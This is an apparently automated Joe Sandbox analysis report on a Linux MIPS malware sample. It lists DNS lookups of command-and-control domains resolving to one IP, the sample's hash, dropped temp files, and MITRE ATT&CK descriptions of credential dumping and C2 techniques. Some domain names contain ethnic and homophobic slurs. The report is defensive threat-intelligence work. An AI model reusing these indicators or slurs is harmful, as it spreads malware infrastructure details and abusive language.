Oct 27, 2024 09:21:33.951467037 CET	192.168.2.15	202.61.197.122	0x478f	Standard query (0)	netfags.geek. [malformed]	256	269	false
Oct 27, 2024 09:21:45.797296047 CET	192.168.2.15	168.235.111.72	0x266f	Standard query (0)	burnthe.libre	A (IP address)	IN (0x0001)	false

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 27, 2024 09:19:44.883759022 CET	152.53.15.127	192.168.2.15	0xd438	No error (0)	burnthe.libre		45.156.86.24	A (IP address)	IN (0x0001)	false
Oct 27, 2024 09:19:56.284689903 CET	152.53.15.127	192.168.2.15	0x1d30	Format error (1)	netfags.geek. [malformed]	none	none	256	428	false
Oct 27, 2024 09:20:08.135621071 CET	152.53.15.127	192.168.2.15	0x1518	No error (0)	yellowchink.pirate		45.156.86.24	A (IP address)	IN (0x0001)	false
Oct 27, 2024 09:20:32.614655018 CET	152.53.15.127	192.168.2.15	0x72ce	No error (0)	yellowchink.pirate		45.156.86.24	A (IP address)	IN (0x0001)	false
Oct 27, 2024 09:20:45.794563055 CET	202.61.197.122	192.168.2.15	0x7cb8	No error (0)	yellowchink.pirate		45.156.86.24	A (IP address)	IN (0x0001)	false
Oct 27, 2024 09:20:46.908370972 CET	194.36.144.87	192.168.2.15	0x784b	Format error (1)	burnthe.libre. [malformed]	none	none	256	478	false
Oct 27, 2024 09:21:22.104172945 CET	194.36.144.87	192.168.2.15	0x38c4	No error (0)	burnthe.libre		45.156.86.24	A (IP address)	IN (0x0001)	false
Oct 27, 2024 09:21:45.886255026 CET	168.235.111.72	192.168.2.15	0x266f	No error (0)	burnthe.libre		45.156.86.24	A (IP address)	IN (0x0001)	false

Start time (UTC):	08:19:42
Start date (UTC):	27/10/2024
Path:	/tmp/mips.elf
Arguments:	/tmp/mips.elf
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Start time (UTC):	08:19:43
Start date (UTC):	27/10/2024
Path:	/tmp/mips.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report mips.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Yara Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/qemu-open.0ZZJ1j (deleted)

/tmp/qemu-open.0e7YCk (deleted)

/tmp/qemu-open.2WkRul (deleted)

/tmp/qemu-open.4HZs8j (deleted)

/tmp/qemu-open.5KIfEl (deleted)

/tmp/qemu-open.6BhD5j (deleted)

/tmp/qemu-open.6G9wSk (deleted)

/tmp/qemu-open.6gYawj (deleted)

/tmp/qemu-open.7NVYtn (deleted)

/tmp/qemu-open.8wvaHm (deleted)

/tmp/qemu-open.940z5j (deleted)

/tmp/qemu-open.98E7Tl (deleted)

/tmp/qemu-open.AsaJZk (deleted)

/tmp/qemu-open.CFy7yn (deleted)

/tmp/qemu-open.CWVumn (deleted)

/tmp/qemu-open.CajS2l (deleted)

/tmp/qemu-open.DYbkgn (deleted)

/tmp/qemu-open.ERThtn (deleted)

/tmp/qemu-open.F9EY3n (deleted)

/tmp/qemu-open.FQTMNk (deleted)

/tmp/qemu-open.H7WQMj (deleted)

/tmp/qemu-open.IGFT6l (deleted)

/tmp/qemu-open.Ilaeuk (deleted)

/tmp/qemu-open.JDJ8bl (deleted)

/tmp/qemu-open.Jwa8On (deleted)

/tmp/qemu-open.JznyZj (deleted)

/tmp/qemu-open.LAN5Fl (deleted)

/tmp/qemu-open.LMKjqk (deleted)

/tmp/qemu-open.LXcMXj (deleted)

/tmp/qemu-open.LemHZn (deleted)

/tmp/qemu-open.Maidjk (deleted)

/tmp/qemu-open.Og1MNk (deleted)

/tmp/qemu-open.PQTKll (deleted)

/tmp/qemu-open.PTWBZl (deleted)

Linux Analysis Report
mips.elf

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre